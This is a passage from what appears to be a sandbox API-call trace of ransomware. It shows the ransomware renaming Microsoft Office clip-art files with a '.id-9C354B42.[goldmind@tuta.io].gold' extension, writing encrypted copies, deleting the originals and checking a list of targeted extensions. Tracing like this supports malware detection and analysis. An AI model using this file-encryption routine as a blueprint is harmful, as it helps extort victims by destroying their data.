lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.521] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.521] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.521] GetLastError () returned 0x0 [0048.521] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0048.523] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0048.524] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.524] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.524] SetEndOfFile (hFile=0x1b0) returned 1 [0048.524] CloseHandle (hObject=0x1b0) returned 1 [0048.524] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.524] SetEndOfFile (hFile=0x178) returned 1 [0048.525] CloseHandle (hObject=0x178) returned 1 [0048.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0048.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.525] lstrlenW (lpString=".doc") returned 4 [0048.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.525] lstrlenW (lpString=".docx") returned 5 [0048.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.525] lstrlenW (lpString=".pdf") returned 4 [0048.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.525] lstrlenW (lpString=".xls") returned 4 [0048.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.525] lstrlenW (lpString=".xlsx") returned 5 [0048.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.525] lstrlenW (lpString=".ppt") returned 4 [0048.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.525] lstrlenW (lpString=".zip") returned 4 [0048.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.525] lstrlenW (lpString=".rar") returned 4 [0048.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.525] lstrlenW (lpString=".bz2") returned 4 [0048.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.525] lstrlenW (lpString=".7z") returned 3 [0048.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".dbf") returned 4 [0048.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".1cd") returned 4 [0048.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".jpg") returned 4 [0048.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".doc") returned 4 [0048.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString=".docx") returned 5 [0048.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.526] lstrlenW (lpString=".pdf") returned 4 [0048.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString=".xls") returned 4 [0048.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.526] lstrlenW (lpString=".xlsx") returned 5 [0048.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.526] lstrlenW (lpString=".ppt") returned 4 [0048.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".zip") returned 4 [0048.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.526] lstrlenW (lpString=".rar") returned 4 [0048.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString=".bz2") returned 4 [0048.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString=".7z") returned 3 [0048.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".dbf") returned 4 [0048.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".1cd") returned 4 [0048.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0048.526] lstrlenW (lpString=".jpg") returned 4 [0048.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.526] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.526] lstrlenW (lpString="AN01251_.WMF") returned 12 [0048.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.527] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2756) returned 1 [0048.527] CloseHandle (hObject=0x178) returned 1 [0048.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0048.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.527] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.527] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.527] GetLastError () returned 0x0 [0048.527] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xac4, lpOverlapped=0x0) returned 1 [0049.424] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0049.447] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.447] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.447] SetEndOfFile (hFile=0x1b0) returned 1 [0049.447] CloseHandle (hObject=0x1b0) returned 1 [0049.448] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.448] SetEndOfFile (hFile=0x178) returned 1 [0049.448] CloseHandle (hObject=0x178) returned 1 [0049.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0049.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.449] lstrlenW (lpString=".doc") returned 4 [0049.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.449] lstrlenW (lpString=".docx") returned 5 [0049.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.449] lstrlenW (lpString=".pdf") returned 4 [0049.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.449] lstrlenW (lpString=".xls") returned 4 [0049.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.449] lstrlenW (lpString=".xlsx") returned 5 [0049.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.449] lstrlenW (lpString=".ppt") returned 4 [0049.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.449] lstrlenW (lpString=".zip") returned 4 [0049.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.449] lstrlenW (lpString=".rar") returned 4 [0049.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.449] lstrlenW (lpString=".bz2") returned 4 [0049.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString=".7z") returned 3 [0049.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString=".dbf") returned 4 [0049.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString=".1cd") returned 4 [0049.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString=".jpg") returned 4 [0049.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString=".doc") returned 4 [0049.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString=".docx") returned 5 [0049.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.450] lstrlenW (lpString=".pdf") returned 4 [0049.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString=".xls") returned 4 [0049.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.450] lstrlenW (lpString=".xlsx") returned 5 [0049.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.450] lstrlenW (lpString=".ppt") returned 4 [0049.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString=".zip") returned 4 [0049.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.450] lstrlenW (lpString=".rar") returned 4 [0049.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString=".bz2") returned 4 [0049.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.450] lstrlenW (lpString=".7z") returned 3 [0049.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.450] lstrlenW (lpString=".dbf") returned 4 [0049.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.451] lstrlenW (lpString=".1cd") returned 4 [0049.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0049.451] lstrlenW (lpString=".jpg") returned 4 [0049.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.451] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.451] lstrlenW (lpString="AN04326_.WMF") returned 12 [0049.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.451] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3348) returned 1 [0049.451] CloseHandle (hObject=0x178) returned 1 [0049.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0049.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.451] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.451] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.452] GetLastError () returned 0x0 [0049.452] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xd14, lpOverlapped=0x0) returned 1 [0049.453] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0049.453] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.453] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.454] SetEndOfFile (hFile=0x1b0) returned 1 [0049.454] CloseHandle (hObject=0x1b0) returned 1 [0049.454] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.454] SetEndOfFile (hFile=0x178) returned 1 [0049.454] CloseHandle (hObject=0x178) returned 1 [0049.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString=".doc") returned 4 [0049.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString=".docx") returned 5 [0049.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.455] lstrlenW (lpString=".pdf") returned 4 [0049.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString=".xls") returned 4 [0049.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.455] lstrlenW (lpString=".xlsx") returned 5 [0049.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.455] lstrlenW (lpString=".ppt") returned 4 [0049.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString=".zip") returned 4 [0049.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.455] lstrlenW (lpString=".rar") returned 4 [0049.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString=".bz2") returned 4 [0049.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString=".7z") returned 3 [0049.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString=".dbf") returned 4 [0049.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString=".1cd") returned 4 [0049.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString=".jpg") returned 4 [0049.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.455] lstrlenW (lpString=".doc") returned 4 [0049.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString=".docx") returned 5 [0049.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.456] lstrlenW (lpString=".pdf") returned 4 [0049.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString=".xls") returned 4 [0049.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.456] lstrlenW (lpString=".xlsx") returned 5 [0049.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.456] lstrlenW (lpString=".ppt") returned 4 [0049.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.456] lstrlenW (lpString=".zip") returned 4 [0049.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.456] lstrlenW (lpString=".rar") returned 4 [0049.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString=".bz2") returned 4 [0049.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString=".7z") returned 3 [0049.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.456] lstrlenW (lpString=".dbf") returned 4 [0049.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.456] lstrlenW (lpString=".1cd") returned 4 [0049.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0049.456] lstrlenW (lpString=".jpg") returned 4 [0049.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.456] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.456] lstrlenW (lpString="AN04332_.WMF") returned 12 [0049.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.457] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4296) returned 1 [0049.457] CloseHandle (hObject=0x178) returned 1 [0049.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0049.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.457] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.457] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 